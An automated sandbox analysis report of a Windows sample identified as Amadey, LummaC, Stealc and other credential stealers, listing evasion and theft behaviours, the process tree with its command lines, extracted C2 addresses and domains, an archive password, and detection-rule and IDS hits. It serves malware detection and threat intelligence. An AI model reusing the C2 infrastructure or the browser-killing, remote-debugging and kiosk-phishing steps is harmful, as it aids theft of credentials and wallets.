Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1577610
MD5:	3a61c20a67de482b185ab4698aa6b4e1
SHA1:	50a864a95715c5167da337dc608d53394972da42
SHA256:	3f09a04ebfc36b65298065e9b7de36a1f6e7acb77da56ddff650e7bf808ef976
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Credential Flusher

Yara detected Cryptbot

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected PureLog Stealer

Yara detected Stealc

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Creates multiple autostart registry keys

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Drops large PE files

Drops password protected ZIP file

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Leaks process information

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

PE file contains section with special chars

Potentially malicious time measurement code found

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Yara detected Generic Downloader

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to detect virtual machines (STR)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Enables debug privileges

Enables security privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries disk information (often used to detect virtual machines)

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Sigma detected: Browser Started with Remote Debugging

Sigma detected: CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Uses taskkill to terminate processes

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 7928 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 3A61C20A67DE482B185AB4698AA6B4E1)

skotes.exe (PID: 8152 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 3A61C20A67DE482B185AB4698AA6B4E1)

2db16943cb.exe (PID: 4816 cmdline: "C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe" MD5: 0AC83051D42C812A3DEB74E093C48F9E)

chrome.exe (PID: 7608 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default" MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

chrome.exe (PID: 3544 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2516 --field-trial-handle=2436,i,5964267512921844508,5408738555003617198,262144 /prefetch:8 MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

bfa374134d.exe (PID: 6976 cmdline: "C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe" MD5: C5FEF8513ADA725231AE23A67A73C437)

ON80Y93WBYHTIEIKRLTF27273JXE.exe (PID: 4144 cmdline: "C:\Users\user\AppData\Local\Temp\ON80Y93WBYHTIEIKRLTF27273JXE.exe" MD5: 2232B014AE8B1313BF45D61F44AE5F84)

f48847f8be.exe (PID: 3108 cmdline: "C:\Users\user\AppData\Local\Temp\1016937001\f48847f8be.exe" MD5: E84367D8404D57C0ECE3E82C8C98F087)

2f7f14fa8e.exe (PID: 8016 cmdline: "C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe" MD5: E1F841BEBBEC5D496EA53254BA60EA2D)

taskkill.exe (PID: 8064 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 8076 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7704 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 4820 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 3644 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 3936 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6120 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5924 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 5516 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5512 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 1352 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

8be8d9c4e9.exe (PID: 5424 cmdline: "C:\Users\user\AppData\Local\Temp\1016939001\8be8d9c4e9.exe" MD5: 2232B014AE8B1313BF45D61F44AE5F84)

6f578afb8b.exe (PID: 688 cmdline: "C:\Users\user\AppData\Local\Temp\1016940001\6f578afb8b.exe" MD5: 3A425626CBD40345F5B8DDDD6B2B9EFA)

cmd.exe (PID: 1532 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5080 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

mode.com (PID: 2808 cmdline: mode 65,10 MD5: BEA7464830980BF7C0490307DB4FC875)

7z.exe (PID: 3364 cmdline: 7z.exe e file.zip -p24291711423417250691697322505 -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 4332 cmdline: 7z.exe e extracted/file_7.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 5988 cmdline: 7z.exe e extracted/file_6.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 1524 cmdline: 7z.exe e extracted/file_5.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

fae24101ae.exe (PID: 6084 cmdline: "C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe" MD5: C00A67D527EF38DC6F49D0AD7F13B393)

fae24101ae.exe (PID: 7656 cmdline: "C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe" MD5: C00A67D527EF38DC6F49D0AD7F13B393)

skotes.exe (PID: 7400 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 3A61C20A67DE482B185AB4698AA6B4E1)

bfa374134d.exe (PID: 4292 cmdline: "C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe" MD5: C5FEF8513ADA725231AE23A67A73C437)

bfa374134d.exe (PID: 7396 cmdline: "C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe" MD5: C5FEF8513ADA725231AE23A67A73C437)

firefox.exe (PID: 1180 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 6524 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 3636 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2316 -parentBuildID 20230927232528 -prefsHandle 2264 -prefMapHandle 2256 -prefsLen 25358 -prefMapSize 238690 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {bcfaf450-84ad-41b1-85c6-b82510a90f81} 6524 "\\.\pipe\gecko-crash-server-pipe.6524" 25cda26e910 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 1732 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3852 -parentBuildID 20230927232528 -prefsHandle 3372 -prefMapHandle 3344 -prefsLen 26373 -prefMapSize 238690 -appDir "C:\Program Files\Mozilla Firefox\browser" - {87027c66-8717-4a63-88f3-4cd38ca72be3} 6524 "\\.\pipe\gecko-crash-server-pipe.6524" 25cec25c410 rdd MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

svchost.exe (PID: 4904 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

f48847f8be.exe (PID: 1432 cmdline: "C:\Users\user\AppData\Local\Temp\1016937001\f48847f8be.exe" MD5: E84367D8404D57C0ECE3E82C8C98F087)

skotes.exe (PID: 4868 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 3A61C20A67DE482B185AB4698AA6B4E1)

2f7f14fa8e.exe (PID: 5616 cmdline: "C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe" MD5: E1F841BEBBEC5D496EA53254BA60EA2D)

taskkill.exe (PID: 4528 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 352 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 5288 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 2340 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

8be8d9c4e9.exe (PID: 3520 cmdline: "C:\Users\user\AppData\Local\Temp\1016939001\8be8d9c4e9.exe" MD5: 2232B014AE8B1313BF45D61F44AE5F84)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
CryptBot	A typical infostealer, capable of obtaining credentials for browsers, crypto currency wallets, browser cookies, credit cards, and creates screenshots of the infected system. All stolen data is bundled into a zip-file that is uploaded to the c2.	No Attribution	https://any.run/cybersecurity-blog/cryptbot-infostealer-malware-analysis/ https://asec.ahnlab.com/en/24423/ https://asec.ahnlab.com/en/26052/ https://asec.ahnlab.com/en/31683/ https://asec.ahnlab.com/en/31802/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptbot

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}

Threatname: LummaC

{"C2 url": ["discokeyus.lat", "energyaffai.lat", "sweepyribs.lat", "sustainskelet.lat", "crosshuaht.lat", "necklacebudi.lat", "rapeflowwj.lat", "grannyejh.lat", "aspecteirs.lat"], "Build id": "PsFKDg--pablo"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_Cryptbot	Yara detected Cryptbot	Joe Security
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author
C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\GIBVL2EB\random[2].exe	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000008.00000003.1815284167.0000000005290000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000F.00000003.2227019711.000000000108C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1428965317.0000000000671000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000003.00000003.1455202411.0000000004960000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001F.00000003.2009852961.0000000004CE0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000008.00000002.1871163393.00000000014AE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000002.00000003.1442530653.0000000004BE0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000F.00000003.2221194978.000000000108C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000008.00000002.1862764887.0000000000031000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000021.00000002.2101033367.0000000000DF1000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000003.00000002.1497090625.0000000000DF1000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.1377327532.00000000047E0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000002C.00000000.2196706188.0000000000922000.00000002.00000001.01000000.0000001F.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000021.00000003.2058390837.00000000052E0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001F.00000002.2123568208.0000000000F1B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001F.00000002.2097143287.0000000000031000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: bfa374134d.exe PID: 6976	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: bfa374134d.exe PID: 6976	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: bfa374134d.exe PID: 6976	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: f48847f8be.exe PID: 3108	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: f48847f8be.exe PID: 3108	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 2f7f14fa8e.exe PID: 8016	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
Process Memory Space: bfa374134d.exe PID: 7396	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: bfa374134d.exe PID: 7396	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: f48847f8be.exe PID: 1432	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: f48847f8be.exe PID: 1432	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 22 entries

Unpacked PEs

Source	Rule	Description	Author
0.2.file.exe.670000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
3.2.skotes.exe.df0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
33.2.skotes.exe.df0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
44.0.fae24101ae.exe.920000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
44.0.fae24101ae.exe.920000.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 8152, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\bfa374134d.exe

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe, ParentProcessId: 4816, ParentProcessName: 2db16943cb.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default", ProcessId: 7608, ProcessName: chrome.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 8152, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\bfa374134d.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 4904, ProcessName: svchost.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T15:55:48.437800+0100	2028371	3	Unknown Traffic	192.168.2.10	50235	172.67.179.109	443	TCP
2024-12-18T15:56:29.549135+0100	2028371	3	Unknown Traffic	192.168.2.10	49797	172.67.179.109	443	TCP
2024-12-18T15:56:31.889776+0100	2028371	3	Unknown Traffic	192.168.2.10	49805	172.67.179.109	443	TCP
2024-12-18T15:56:34.408257+0100	2028371	3	Unknown Traffic	192.168.2.10	49813	172.67.179.109	443	TCP
2024-12-18T15:56:37.107829+0100	2028371	3	Unknown Traffic	192.168.2.10	49819	172.67.179.109	443	TCP
2024-12-18T15:56:39.735446+0100	2028371	3	Unknown Traffic	192.168.2.10	49825	172.67.179.109	443	TCP
2024-12-18T15:56:43.281682+0100	2028371	3	Unknown Traffic	192.168.2.10	49839	172.67.179.109	443	TCP
2024-12-18T15:56:44.549206+0100	2028371	3	Unknown Traffic	192.168.2.10	49842	172.67.179.109	443	TCP
2024-12-18T15:56:45.843384+0100	2028371	3	Unknown Traffic	192.168.2.10	49845	172.67.179.109	443	TCP
2024-12-18T15:56:48.827876+0100	2028371	3	Unknown Traffic	192.168.2.10	49852	172.67.179.109	443	TCP
2024-12-18T15:56:51.991291+0100	2028371	3	Unknown Traffic	192.168.2.10	49863	172.67.179.109	443	TCP
2024-12-18T15:56:54.289589+0100	2028371	3	Unknown Traffic	192.168.2.10	49875	172.67.179.109	443	TCP
2024-12-18T15:56:54.289830+0100	2028371	3	Unknown Traffic	192.168.2.10	49876	172.67.179.109	443	TCP
2024-12-18T15:57:01.148342+0100	2028371	3	Unknown Traffic	192.168.2.10	49907	172.67.179.109	443	TCP
2024-12-18T15:57:05.858596+0100	2028371	3	Unknown Traffic	192.168.2.10	49927	172.67.179.109	443	TCP
2024-12-18T15:57:12.079332+0100	2028371	3	Unknown Traffic	192.168.2.10	49948	172.67.179.109	443	TCP
2024-12-18T15:57:22.368420+0100	2028371	3	Unknown Traffic	192.168.2.10	49972	104.21.12.88	443	TCP
2024-12-18T15:57:23.526102+0100	2028371	3	Unknown Traffic	192.168.2.10	49976	172.67.179.109	443	TCP
2024-12-18T15:57:25.803067+0100	2028371	3	Unknown Traffic	192.168.2.10	49979	104.21.12.88	443	TCP
2024-12-18T15:57:33.268942+0100	2028371	3	Unknown Traffic	192.168.2.10	49998	104.21.12.88	443	TCP
2024-12-18T15:57:34.040297+0100	2028371	3	Unknown Traffic	192.168.2.10	50002	172.67.179.109	443	TCP
2024-12-18T15:57:38.764634+0100	2028371	3	Unknown Traffic	192.168.2.10	50035	104.21.12.88	443	TCP
2024-12-18T15:57:41.147850+0100	2028371	3	Unknown Traffic	192.168.2.10	50045	172.67.179.109	443	TCP
2024-12-18T15:57:42.150786+0100	2028371	3	Unknown Traffic	192.168.2.10	50048	172.67.179.109	443	TCP
2024-12-18T15:57:43.243772+0100	2028371	3	Unknown Traffic	192.168.2.10	50049	104.21.12.88	443	TCP
2024-12-18T15:57:45.041595+0100	2028371	3	Unknown Traffic	192.168.2.10	50057	172.67.179.109	443	TCP
2024-12-18T15:57:46.632676+0100	2028371	3	Unknown Traffic	192.168.2.10	50065	104.21.12.88	443	TCP
2024-12-18T15:57:49.347814+0100	2028371	3	Unknown Traffic	192.168.2.10	50071	172.67.179.109	443	TCP
2024-12-18T15:57:49.910294+0100	2028371	3	Unknown Traffic	192.168.2.10	50072	104.21.23.76	443	TCP
2024-12-18T15:57:50.533130+0100	2028371	3	Unknown Traffic	192.168.2.10	50073	104.21.12.88	443	TCP
2024-12-18T15:57:51.663685+0100	2028371	3	Unknown Traffic	192.168.2.10	50079	172.67.179.109	443	TCP
2024-12-18T15:57:52.214888+0100	2028371	3	Unknown Traffic	192.168.2.10	50080	104.21.23.76	443	TCP
2024-12-18T15:57:54.421842+0100	2028371	3	Unknown Traffic	192.168.2.10	50087	104.21.12.88	443	TCP
2024-12-18T15:57:54.425184+0100	2028371	3	Unknown Traffic	192.168.2.10	50086	172.67.179.109	443	TCP
2024-12-18T15:57:55.139008+0100	2028371	3	Unknown Traffic	192.168.2.10	50090	104.21.23.76	443	TCP
2024-12-18T15:57:57.308070+0100	2028371	3	Unknown Traffic	192.168.2.10	50095	104.21.23.76	443	TCP
2024-12-18T15:57:57.413813+0100	2028371	3	Unknown Traffic	192.168.2.10	50096	172.67.179.109	443	TCP
2024-12-18T15:57:59.631132+0100	2028371	3	Unknown Traffic	192.168.2.10	50102	104.21.23.76	443	TCP
2024-12-18T15:58:01.628172+0100	2028371	3	Unknown Traffic	192.168.2.10	50107	172.67.179.109	443	TCP
2024-12-18T15:58:01.876766+0100	2028371	3	Unknown Traffic	192.168.2.10	50110	104.21.23.76	443	TCP
2024-12-18T15:58:07.311005+0100	2028371	3	Unknown Traffic	192.168.2.10	50141	172.67.179.109	443	TCP
2024-12-18T15:58:08.833236+0100	2028371	3	Unknown Traffic	192.168.2.10	50142	104.21.23.76	443	TCP
2024-12-18T15:58:16.070605+0100	2028371	3	Unknown Traffic	192.168.2.10	50144	104.21.23.76	443	TCP
2024-12-18T15:58:41.559504+0100	2028371	3	Unknown Traffic	192.168.2.10	50164	172.67.179.109	443	TCP
2024-12-18T15:58:47.000456+0100	2028371	3	Unknown Traffic	192.168.2.10	50170	172.67.179.109	443	TCP
2024-12-18T15:58:55.572582+0100	2028371	3	Unknown Traffic	192.168.2.10	50177	172.67.179.109	443	TCP
